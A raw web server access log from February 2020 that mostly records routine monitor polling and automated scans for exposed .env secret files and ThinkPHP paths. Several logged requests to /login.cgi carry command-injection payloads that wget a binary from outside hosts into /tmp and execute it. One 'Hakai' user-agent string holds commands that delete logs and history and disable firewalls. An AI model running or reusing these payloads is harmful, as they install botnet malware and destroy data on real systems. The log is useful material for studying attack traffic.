185.234.217.177 - - [23/Feb/2020:16:41:08 +0100] "GET /engine/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:08 +0100] "GET /.env HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:08 +0100] "GET /inc/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:08 +0100] "GET /development/.env HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:08 +0100] "GET /system/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:08 +0100] "GET /admin/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:08 +0100] "GET /react/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:09 +0100] "GET /travis/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:09 +0100] "GET /app/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:09 +0100] "GET /sources/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:09 +0100] "GET /backend/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:09 +0100] "GET /protected/.env HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:09 +0100] "GET /laravel/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:09 +0100] "GET /auth/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:09 +0100] "GET /scripts/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:09 +0100] "GET /personal/.env HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:09 +0100] "GET /cp/.env HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:09 +0100] "GET /project/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:09 +0100] "GET /shared/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:09 +0100] "GET /server/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:09 +0100] "GET /config/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:09 +0100] "GET /private/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:09 +0100] "GET /web/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:09 +0100] "GET /search/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:09 +0100] "GET /cron/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:09 +0100] "GET /src/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:09 +0100] "GET /master/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:10 +0100] "GET /application/.env HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:10 +0100] "GET /frontend/.env HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:10 +0100] "GET /rest/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:10 +0100] "GET /mods/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:10 +0100] "GET /routes/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:10 +0100] "GET /~dev/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:10 +0100] "GET /dev/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:10 +0100] "GET /site/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:10 +0100] "GET /back/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:10 +0100] "GET /api/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:10 +0100] "GET /laravel-artisan/.env HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:10 +0100] "GET /local/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:10 +0100] "GET /core/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
212.91.246.72 - - [23/Feb/2020:16:41:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:42:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:43:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.50.147.114 - - [23/Feb/2020:16:43:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:16:44:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:45:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.17.192.91 - - [23/Feb/2020:16:46:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [23/Feb/2020:16:46:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:47:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:48:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:49:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:50:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.97.36.121 - - [23/Feb/2020:16:51:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [23/Feb/2020:16:51:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:52:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:53:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:54:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:55:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:56:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:57:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:58:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.90.201.68 - - [23/Feb/2020:16:59:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:16:59:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:00:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:01:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:02:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:03:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:04:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:05:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [23/Feb/2020:17:06:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [23/Feb/2020:17:06:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [23/Feb/2020:17:06:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [23/Feb/2020:17:06:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [23/Feb/2020:17:06:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [23/Feb/2020:17:07:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
37.252.69.18 - - [23/Feb/2020:17:07:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:17:07:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:08:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:09:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:10:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:11:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.35.171.242 - - [23/Feb/2020:17:11:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
54.36.148.49 - - [23/Feb/2020:17:12:12 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [23/Feb/2020:17:12:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:13:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:14:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.15.205.214 - - [23/Feb/2020:17:15:23 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.15.205.214 - - [23/Feb/2020:17:15:23 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.15.205.214 - - [23/Feb/2020:17:15:24 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [23/Feb/2020:17:15:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.15.205.214 - - [23/Feb/2020:17:15:24 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
68.132.99.63 - - [23/Feb/2020:17:16:20 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:17:16:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:17:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:18:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:19:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.53.149.157 - - [23/Feb/2020:17:20:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [23/Feb/2020:17:20:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:21:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [23/Feb/2020:17:21:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [23/Feb/2020:17:21:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [23/Feb/2020:17:22:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [23/Feb/2020:17:22:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [23/Feb/2020:17:22:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [23/Feb/2020:17:22:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [23/Feb/2020:17:23:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:24:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:25:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.175.118.121 - - [23/Feb/2020:17:25:39 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
134.175.118.121 - - [23/Feb/2020:17:25:40 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
134.175.118.121 - - [23/Feb/2020:17:25:42 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
134.175.118.121 - - [23/Feb/2020:17:25:42 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
134.175.118.121 - - [23/Feb/2020:17:25:43 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
134.175.118.121 - - [23/Feb/2020:17:25:44 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
134.175.118.121 - - [23/Feb/2020:17:25:45 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
134.175.118.121 - - [23/Feb/2020:17:25:45 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
134.175.118.121 - - [23/Feb/2020:17:25:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [23/Feb/2020:17:26:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:27:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:28:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:29:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:30:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:31:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:32:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:33:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:34:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:35:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:36:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:37:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:38:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:39:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:40:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:41:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:42:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:43:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:44:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:45:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:46:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:17:47:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
168.181.121.2 - - [23/Feb/2020:17:47:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
